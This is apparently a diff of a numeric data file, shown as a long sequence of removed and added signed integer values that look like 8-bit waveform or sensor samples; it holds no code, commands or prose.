--119 --119 --65 -64 -136 -132 -25 --59 --119 --119 --67 -59 -136 -133 -24 --60 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --63 -65 -136 -130 -27 --60 --119 --119 --62 -62 -136 -130 -28 --57 --119 --119 --64 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -29 --61 --119 --119 --64 -64 -136 -133 -29 --59 --119 --119 --63 -65 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --61 -63 -136 -133 -27 --60 --119 --119 --64 -65 -136 -131 -29 --57 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -65 -136 -131 -27 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --65 -62 -136 -128 -24 --61 --119 --119 --66 -63 -136 -131 -26 --58 --119 --119 --62 -63 -136 -132 -26 --61 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --62 -62 -136 -128 -24 --62 --119 --119 --67 -60 -136 -133 -25 --59 --119 --119 --63 -65 -136 -131 -27 --60 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --62 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -26 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --66 -60 -136 -133 -25 --59 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --62 -63 -136 -133 -27 --60 --119 --119 --64 -65 -136 -133 -27 --59 --119 --119 --65 -62 -136 -129 -26 --62 --119 --119 --65 -62 -136 -128 -24 --62 --119 --119 --66 -61 -136 -133 -25 --58 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --62 -64 -136 -133 -28 --59 --119 --119 --63 -64 -136 -131 -26 --60 --119 --119 --119 --57 -71 -136 -136 -136 -83 --12 --92 --119 --119 --68 -56 -136 -136 -136 -69 --25 --103 --119 --119 --95 -47 -136 -136 -136 -63 --32 --93 --119 --119 --101 -41 -136 -136 -136 -59 --34 --96 --119 --119 --89 -39 -136 -136 -136 -55 --37 --98 --119 --119 --90 -34 -136 -136 -136 -52 --41 --100 --119 --119 --93 -35 -136 -136 -136 -50 --41 --100 --119 --119 --95 -31 -136 -136 -136 +-128 +-128 +-71 54 --38 --100 --119 --119 --95 -36 -136 -136 -136 -52 --40 --101 --119 --119 --93 -34 -136 -136 -136 -53 --39 --100 --119 --119 --93 -33 -136 -136 -136 -51 --41 --102 --119 --119 --95 -35 -136 -136 -136 -49 --42 --101 --119 --119 --97 -31 -136 -136 -136 -52 --38 --102 --119 --99 -24 -119 -92 --7 --89 --119 --119 --92 -34 -131 -105 -5 --63 --119 --119 --81 -48 -136 -119 -14 +127 +123 +19 -69 --119 --119 +-128 +-128 +-71 +52 +127 +118 +16 +-71 +-128 +-128 +-75 +52 +127 +124 +17 +-67 +-128 +-128 +-72 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-70 +56 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +19 +-69 +-128 +-128 +-72 +54 +127 +127 +127 +49 +-44 +-103 +-128 +-128 +-102 +41 +127 +127 +127 +58 +-36 +-112 +-128 +-128 +-106 +36 +127 +127 +127 +51 +-42 +-104 +-128 +-128 +-112 +30 +127 +127 +127 +48 +-45 +-107 +-128 +-128 +-98 +29 +127 +127 +127 +46 +-47 +-107 +-128 +-128 +-101 +28 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-50 +-108 +-128 +-107 +16 +110 +83 +-16 +-98 +-128 +-128 +-101 +28 +125 +101 +-1 +-70 +-128 +-128 +-89 +38 +127 +109 +6 +-80 +-128 +-128 +-81 +45 +127 +114 +10 +-75 +-128 +-128 +-79 +50 +127 +116 +14 +-72 +-128 +-128 +-75 +49 +127 +117 +15 +-69 +-128 +-128 +-75 +54 +127 +123 +17 +-71 +-128 +-128 +-73 +53 +127 +122 +17 +-70 +-128 +-128 +-73 +53 +127 +122 +19 +-68 +-128 +-128 +-73 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-70 +-128 +-128 +-72 +55 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +125 +17 +-66 +-128 +-128 +-74 +53 +127 +121 +17 +-71 +-128 +-128 +-128 +-68 +63 +127 +127 +127 +75 +-22 +-101 +-128 +-128 +-77 +48 +127 +127 +127 +60 +-33 +-98 +-128 +-128 +-104 +39 +127 +127 +127 +53 +-40 +-102 +-128 +-128 +-110 +32 +127 +127 +127 +48 +-45 +-105 +-128 +-128 +-97 +28 +127 +127 +127 +48 +-45 +-106 +-128 +-128 +-100 +28 +127 +127 +127 +45 +-48 +-109 +-128 +-128 +-100 +26 +127 +114 +10 +-76 +-128 +-128 +-68 +40 +127 +106 +4 +-82 +-128 +-128 +-70 +42 +127 +111 +9 +-77 +-128 +-128 +-80 +45 +127 +116 +13 +-73 +-128 +-128 +-77 +49 +127 +117 +14 +-72 +-128 +-128 +-75 +51 +127 +120 +16 +-71 +-128 +-128 +-74 +54 +127 +119 +16 +-69 +-128 +-128 +-72 +52 +127 +121 +17 +-68 +-128 +-128 +-71 +53 +127 +122 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-73 +56 +127 +123 +20 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-70 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-71 +53 +127 +119 +16 +-69 +-128 +-128 +-75 +56 +127 +120 +18 +-66 +-128 +-128 +-74 +56 +127 +122 +21 +-69 +-128 +-128 +-76 +51 +127 +123 +16 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-74 +53 +127 +119 +16 +-71 +-128 +-128 +-75 +54 +127 +121 +17 +-66 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +20 +-69 +-128 +-128 +-74 +53 +127 +121 +20 +-66 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +57 +127 +123 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +18 +-67 +-128 +-128 +-74 +52 +127 +123 +17 +-70 +-128 +-128 -76 53 -136 +127 +122 +17 +-67 +-128 +-128 +-74 +55 +127 +127 +127 +49 +-43 +-104 +-128 +-128 +-102 +40 +127 +127 +127 +58 +-36 +-111 +-128 +-128 +-108 +36 +127 +127 +127 +51 +-43 +-103 +-128 +-128 +-111 +30 +127 +127 +127 +47 +-45 +-107 +-128 +-128 +-100 +29 +127 +127 +127 +46 +-45 +-107 +-128 +-128 +-99 +26 +127 +127 +127 +42 +-49 +-107 +-128 +-128 +-102 +26 +127 +127 +127 +44 +-48 +-109 +-128 +-108 +18 +111 +82 +-16 +-98 +-128 +-128 +-101 +27 +126 +100 +-2 +-70 +-128 +-128 +-88 +39 +127 +109 +6 +-80 +-128 +-128 +-83 +46 +127 +114 +13 +-77 +-128 +-128 +-80 +50 +127 +117 +13 +-73 +-128 +-128 +-76 +48 +127 +116 +14 +-69 +-128 +-128 +-75 +51 +127 +119 +17 +-69 +-128 +-128 +-74 +54 +127 +121 +17 +-70 +-128 +-128 +-128 +-67 +60 +127 +127 +127 +74 +-23 +-101 +-128 +-128 +-77 +46 +127 +127 +127 +58 +-36 +-112 +-128 +-128 +-106 +38 +127 +127 +127 +52 +-41 +-101 +-128 +-128 +-111 +32 +127 +127 +127 +50 +-43 +-105 +-128 +-128 +-98 +29 +127 +127 +127 +45 +-45 +-106 +-128 +-128 +-100 +25 +127 +127 +127 +42 +-50 +-107 +-128 +-109 +14 +114 +85 +-18 +-97 +-128 +-128 +-101 +29 +125 +100 +0 +-68 +-128 +-128 +-89 +40 +127 +111 +5 +-77 +-128 +-128 +-82 +43 +127 +110 +8 +-76 +-128 +-128 +-82 +49 +127 +115 +12 +-70 +-128 +-128 +-78 +50 +127 +120 +17 +-72 +-128 +-128 +-75 +53 +127 +119 +17 +-69 +-128 +-128 +-74 +52 +127 +121 +16 +-70 +-128 +-128 +-73 +54 +127 123 18 --66 --119 --119 +-69 +-128 +-128 -72 -57 -136 -126 -22 --64 --119 --119 --66 -61 -136 -129 -25 --62 --119 --119 --65 -60 -136 -129 -25 --62 --119 --119 --65 -62 -136 -131 -26 --61 --119 --119 --64 -62 -136 -130 -26 --59 --119 --119 --63 -62 -136 -128 -24 --61 --119 --119 --67 -65 -136 -129 -25 --58 --119 --119 --64 -64 -136 -131 -26 --61 --119 --119 --65 -65 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -26 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --64 -65 -136 -131 -27 --60 --119 --119 --65 -63 -136 -134 -26 --58 --119 --119 --66 -61 -136 -133 -25 --58 --119 --119 --63 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -28 --59 --119 --119 --62 -63 -136 -133 -29 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -64 -136 -133 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -64 -136 -132 -27 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --63 -63 -136 -133 -28 --60 --119 --119 --63 -65 -136 -129 -28 --57 --119 --119 --64 -64 -136 -132 -28 --59 --119 --119 --63 -63 -136 -133 -27 --61 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --65 -62 -136 -129 -25 --62 --119 --119 --67 -61 -136 -131 -25 --59 --119 --119 --63 -64 -136 -131 -27 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --119 --58 -71 -136 -136 -136 -85 --13 --93 --119 --119 --68 -56 -136 -136 -136 -69 --24 --88 --119 --119 --94 -45 -136 -136 -136 -61 --33 --91 --119 --119 --102 -42 -136 -136 -136 -58 --35 --97 --119 --119 --91 -35 -136 -136 -136 53 --36 --100 --119 --119 --92 -37 -136 -136 -136 +127 +121 +19 +-68 +-128 +-128 +-73 55 --38 --99 --119 --119 --92 -35 -136 +127 +122 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +21 +-70 +-128 +-128 +-74 +55 +127 122 20 -67 --119 --119 --58 -49 -136 -114 -13 --73 --119 --119 --60 -48 -136 -116 -15 +-128 +-128 +-72 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +18 +-68 +-128 +-128 -71 --119 --119 --58 -53 -136 +55 +127 125 20 --67 --119 --119 --72 -57 -136 -127 -22 --60 --119 --119 --67 -62 -136 -128 -27 --59 --119 --119 -68 -59 -136 -131 -24 --60 --119 --119 --65 -63 -136 -130 -26 --61 --119 --119 --63 -63 -136 -131 -28 --60 --119 --119 --63 -63 -136 -131 -28 --60 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -131 -28 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --61 -63 -136 -132 -27 --59 --119 --119 --61 -63 -136 -132 -27 --59 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --64 -64 -136 -133 -26 --59 --119 --119 --62 -63 -136 -131 -27 --60 --119 --119 --61 -63 -136 -133 -29 --59 --119 --119 --62 -64 -136 -131 -27 --60 --119 --119 --63 -64 -136 -132 -30 --60 --119 --119 --66 -60 -136 -132 -25 --58 --119 --119 --65 -61 -136 -131 -26 --62 --119 --119 +-128 +-128 +-71 +53 +127 +124 +16 -67 -63 -136 -130 -27 --57 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --62 -63 -136 -132 -27 --60 --119 --119 --62 -64 -136 -132 -28 --59 --119 --119 --63 -65 -136 -132 -28 --59 --119 --119 --62 -63 -136 -131 -27 --59 --119 --119 --62 -62 -136 -131 -26 --61 --119 --119 --63 -64 -136 -133 -28 --59 --119 --119 --64 -64 -136 -132 -27 --60 --119 --119 --63 -64 -136 -130 -28 --57 --119 --119 --63 -64 -136 -131 -27 --60 --119 --119 --65 -63 -136 -131 -27 --58 --119 --119 --62 -63 -136 -131 -29 --56 --119 --119 --64 -63 -136 -131 -27 --60 --119 --119 --63 -64 -136 -131 -30 --58 --119 --119 --66 -61 -136 -131 -25 --58 --119 --119 --65 -63 -136 -132 -27 --59 --119 --119 --62 -62 -136 -131 -26 --59 --119 --119 --62 -63 -136 -131 -26 --60 --119 --119 --62 -63 -136 -132 -28 --60 --119 --119 --65 -64 -136 -132 -27 --59 --119 --119 --62 -64 -136 -132 -27 --60 --119 --119 --63 -65 -136 -130 -29 --58 --119 --119 --66 -61 -136 -132 -26 --58 --119 --119 --63 -63 -136 -132 -28 --60 --119 --119 --63 -66 -136 -133 -26 --58 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -63 -136 -131 -27 --60 --119 --119 --63 -65 -136 -136 -136 +-128 +-128 +-71 55 --34 --93 --119 --119 --94 -51 -136 -136 -136 -70 --25 --89 --119 --119 --97 -43 -136 -136 -136 -58 --35 --93 --119 --119 --103 -40 -136 -136 -136 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +17 +-70 +-128 +-128 +-73 +56 +127 +122 +20 +-68 +-128 +-128 +-75 +53 +127 +122 +16 +-66 +-128 +-128 +-73 +56 +127 +123 +21 +-69 +-128 +-128 +-71 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +55 +127 +124 +18 +-68 +-128 +-128 +-74 +54 +127 +121 +20 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-73 57 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +124 +20 +-68 +-128 +-128 +-71 +55 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +126 +17 +-66 +-128 +-128 +-74 +52 +127 +124 +16 +-69 +-128 +-128 +-128 +-70 +60 +127 +127 +127 +75 +-19 +-103 +-128 +-128 +-78 +48 +127 +127 +127 +61 +-34 +-97 +-128 +-128 +-106 +38 +127 +127 +127 +53 +-41 +-103 +-128 +-128 +-112 +34 +127 +127 +127 +46 +-46 +-104 +-128 +-128 +-97 +27 +127 +127 +127 +44 +-45 +-108 +-128 +-128 +-100 +26 +127 +127 +127 +45 +-48 +-109 +-128 +-128 +-101 +28 +127 +112 +12 +-74 +-128 +-128 +-70 +37 +127 +103 +2 +-84 +-128 +-128 +-73 +38 +127 +112 +7 +-76 +-128 +-128 +-80 +47 +127 +115 +12 +-74 +-128 +-128 +-76 +50 +127 +117 +14 +-72 +-128 +-128 +-74 +52 +127 +120 +16 +-70 +-128 +-128 +-74 +52 +127 +122 +18 +-69 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +53 +127 +127 +127 +50 +-44 +-105 +-128 +-128 +-104 +43 +127 +127 +127 +59 -36 -98 --119 --119 --91 -38 -136 -136 -136 -55 --38 --99 --119 --119 --92 -37 -136 -136 -136 -53 --39 --101 --119 --119 --92 +-128 +-128 +-106 35 -136 -136 -136 +127 +127 +127 52 --40 +-42 +-104 +-128 +-128 +-112 +31 +127 +127 +127 +47 +-44 +-106 +-128 +-128 +-98 +28 +127 +127 +127 +46 +-46 +-107 +-128 +-128 +-99 +26 +127 +127 +127 +44 +-48 +-108 +-128 +-128 -100 --119 --97 24 -121 -92 --8 --88 --119 --119 --91 -37 -135 -109 +127 +127 +127 +44 +-49 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-48 +-109 +-128 +-128 +-101 +23 +127 +127 +127 +41 +-51 +-110 +-128 +-128 +-104 +23 +127 +127 +127 +41 +-49 +-108 +-128 +-128 +-104 +27 +127 +127 +127 +42 +-50 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +44 +-48 +-110 +-128 +-128 +-102 +25 +127 +127 +127 +43 +-49 +-109 +-128 +-128 +-102 +24 +127 +112 +9 +-77 +-128 +-128 +-69 +40 +127 +104 +2 +-82 +-128 +-128 +-71 +42 +127 +112 7 --61 --119 --119 +-77 +-128 +-128 +-80 +46 +127 +115 +12 +-74 +-128 +-128 +-78 +50 +127 +118 +14 +-72 +-128 +-128 +-75 +52 +127 +120 +16 +-71 +-128 +-128 +-75 +54 +127 +122 +15 +-68 +-128 +-128 +-73 +53 +127 +121 +17 +-69 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +53 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-70 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-69 +-128 +-128 +-71 +54 +127 +122 +21 +-67 +-128 +-128 +-76 +52 +127 +122 +16 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +19 +-67 +-128 +-128 +-71 +55 +127 +124 +18 +-69 +-128 +-128 +-70 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +121 +19 +-68 +-128 +-128 +-71 +53 +127 +121 +17 +-69 +-128 +-128 +-72 +53 +127 +123 +18 +-70 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +18 +-70 +-128 +-128 +-73 +56 +127 +123 +18 +-68 +-128 +-128 +-75 +51 +127 +123 +17 +-70 +-128 +-128 +-76 +55 +127 +120 +17 +-66 +-128 +-128 +-75 +51 +127 +124 +16 +-69 +-128 +-128 +-73 +54 +127 +121 +20 +-68 +-128 +-128 +-72 +53 +127 +123 +20 +-69 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +124 +17 +-67 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +55 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-68 +-128 +-128 +-73 +56 +127 +124 +18 +-69 +-128 +-128 +-72 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +122 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-74 +54 +127 +124 +17 +-67 +-128 +-128 +-72 +53 +127 +121 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +19 +-68 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-72 +56 +127 +121 +19 +-68 +-128 +-128 +-72 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +52 +127 +119 +16 +-70 +-128 +-128 +-74 +51 +127 +123 +16 +-69 +-128 +-128 +-72 +52 +127 +119 +16 +-71 +-128 +-128 +-74 +52 +127 +124 +17 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-74 +55 +127 +124 +19 +-68 +-128 +-128 +-74 +54 +127 +121 +20 +-66 +-128 +-128 +-76 +50 +127 +123 +16 +-68 +-128 +-128 +-72 +56 +127 +121 +18 +-68 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +57 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-74 +54 +127 +124 +18 +-67 +-128 +-128 +-72 +54 +127 +123 +19 +-69 +-128 +-128 +-71 +54 +127 +124 +20 +-68 +-128 +-128 +-71 +55 +127 +124 +20 +-68 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +54 +127 +122 +19 +-67 +-128 +-128 +-72 +54 +127 +123 +17 +-69 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +18 +-70 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-71 +54 +127 +123 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +122 +18 +-69 +-128 +-128 +-74 +56 +127 +121 +20 +-70 +-128 +-128 +-76 +54 +127 +121 +17 +-67 +-128 +-128 +-72 +55 +127 +123 +19 +-69 +-128 +-128 +-71 +53 +127 +119 +16 +-71 +-128 +-128 +-76 +54 +127 +120 +16 +-67 +-128 +-128 +-72 +56 +127 +123 +19 +-69 +-128 +-128 +-71 +56 +127 +123 +19 +-68 +-128 +-128 +-72 +56 +127 +122 +19 +-69 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +123 +20 +-69 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +55 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +122 +17 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +123 +18 +-68 +-128 +-128 +-72 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +122 +19 +-68 +-128 +-128 +-72 +53 +127 +123 +18 +-69 +-128 +-128 +-71 +55 +127 +122 +19 +-69 +-128 +-128 +-74 +53 +127 +122 +18 +-71 +-128 +-128 +-75 +54 +127 +121 +17 +-67 +-128 +-128 +-73 +54 +127 +124 +20 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +56 +127 +124 +17 +-67 +-128 +-128 +-75 +52 +127 +127 +127 +49 +-41 +-106 +-128 +-128 +-102 +43 +127 +127 +127 +60 +-34 +-98 +-128 +-128 +-107 +38 +127 +127 +127 +52 +-42 +-104 +-128 +-128 +-98 +31 +127 +127 +127 +48 +-45 +-107 +-128 +-128 +-100 +29 +127 +127 +127 +45 +-47 +-108 +-128 +-128 +-100 +26 +127 +127 +127 +45 +-49 +-107 +-128 +-128 +-100 +24 +127 +127 +127 +41 +-50 +-107 +-128 +-110 +13 +113 +84 +-18 +-97 +-128 +-128 +-102 +29 +126 +100 +0 +-68 +-128 +-128 +-89 +40 +127 +108 +7 +-78 +-128 +-128 +-82 +44 +127 +113 +9 +-75 +-128 +-128 -78 47 -136 +127 +118 +14 +-74 +-128 +-128 +-77 +52 +127 +118 +14 +-71 +-128 +-128 +-73 +51 +127 +121 +17 +-70 +-128 +-128 +-74 +53 +127 +122 +17 +-70 +-128 +-128 +-73 +54 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +18 +-70 +-128 +-128 +-73 +55 +127 +123 +20 +-70 +-128 +-128 +-73 +55 +127 +124 +19 +-70 +-128 +-128 +-73 +56 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +119 +16 +-70 +-128 +-128 +-76 +52 +127 +122 +16 +-67 +-128 +-128 +-72 +55 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-69 +-128 +-128 +-72 +53 +127 +119 +15 +-70 +-128 +-128 +-75 +56 +127 +121 +18 +-65 +-128 +-128 +-74 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +57 +127 +123 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +124 +19 +-68 +-128 +-128 +-72 +54 +127 +122 +17 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +19 +-68 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-68 +-128 +-128 +-71 +54 +127 +122 +18 +-69 +-128 +-128 +-73 +57 +127 +122 +19 +-68 +-128 +-128 +-71 +54 +127 +124 +18 +-69 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +120 +18 +-66 +-128 +-128 +-73 +55 +127 +122 +18 +-70 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-72 +56 +127 +124 +17 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-71 +53 +127 +120 +17 +-68 +-128 +-128 +-71 +55 +127 +124 +18 +-69 +-128 +-128 +-72 +56 +127 +121 +19 +-66 +-128 +-128 +-74 +56 +127 +123 +18 +-68 +-128 +-128 +-73 +57 +127 +122 +18 +-68 +-128 +-128 +-71 +53 +127 +121 +19 +-66 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-128 +-82 +60 +127 +127 +127 +78 +-23 +-100 +-128 +-128 +-80 +45 +127 +127 +127 +60 +-32 +-98 +-128 +-128 +-104 +39 +127 +127 +127 +53 +-41 +-103 +-128 +-128 +-111 +34 +127 +127 +127 +46 +-46 +-104 +-128 +-128 +-99 +31 +127 +127 +127 +46 +-46 +-106 +-128 +-128 +-99 +25 +127 +127 +127 +42 +-50 +-108 +-128 +-109 +14 +109 +83 +-17 +-99 +-128 +-128 +-104 +27 +127 +98 +-3 +-67 +-128 +-128 +-89 +39 +127 +109 +6 +-79 +-128 +-128 +-81 +44 +127 +114 +11 +-76 +-128 +-128 +-80 +49 +127 +117 +16 +-72 +-128 +-128 +-79 +48 +127 +120 +13 +-70 +-128 +-128 +-75 +52 +127 +120 +16 +-71 +-128 +-128 +-74 +54 +127 +123 +18 +-69 +-128 +-128 +-74 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +124 +18 +-70 +-128 +-128 +-72 +55 +127 +124 +19 +-69 +-128 +-128 +-73 +56 +127 +124 +17 +-67 +-128 +-128 +-72 +55 +127 +122 +18 +-69 +-128 +-128 +-72 +54 +127 +121 +19 +-68 +-128 +-128 +-72 +53 +127 +122 +20 +-68 +-128 +-128 +-75 +53 +127 +123 +16 +-66 +-128 +-128 +-73 +54 +127 +122 +17 +-68 +-128 +-128 +-70 +54 +127 +124 +20 +-70 +-128 +-128 +-71 +55 +127 +122 +18 +-69 +-128 +-128 +-73 +56 +127 +124 +19 +-68 +-128 +-128 +-71 +55 +127 +123 +18 +-69 +-128 +-128 +-75 +52 +127 +124 +16 +-68 +-128 +-128 +-71 +56 +127 +123 +18 +-68 +-128 +-128 +-72 +56 +127 +126 +17 +-66 +-128 +-128 +-72 +56 +127 +124 +18 +-69 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-73 +57 +127 +123 +21 +-70 +-128 +-128 +-72 +55 +127 +124 +19 +-68 +-128 +-128 +-73 +56 +127 +124 +18 +-70 +-128 +-128 +-72 +54 +127 +123 +18 +-69 +-128 +-128 +-72 +56 +127 +122 +21 +-69 +-128 +-128 +-74 +52 +127 +124 +17 +-70 +-128 +-128 +-75 +56 +127 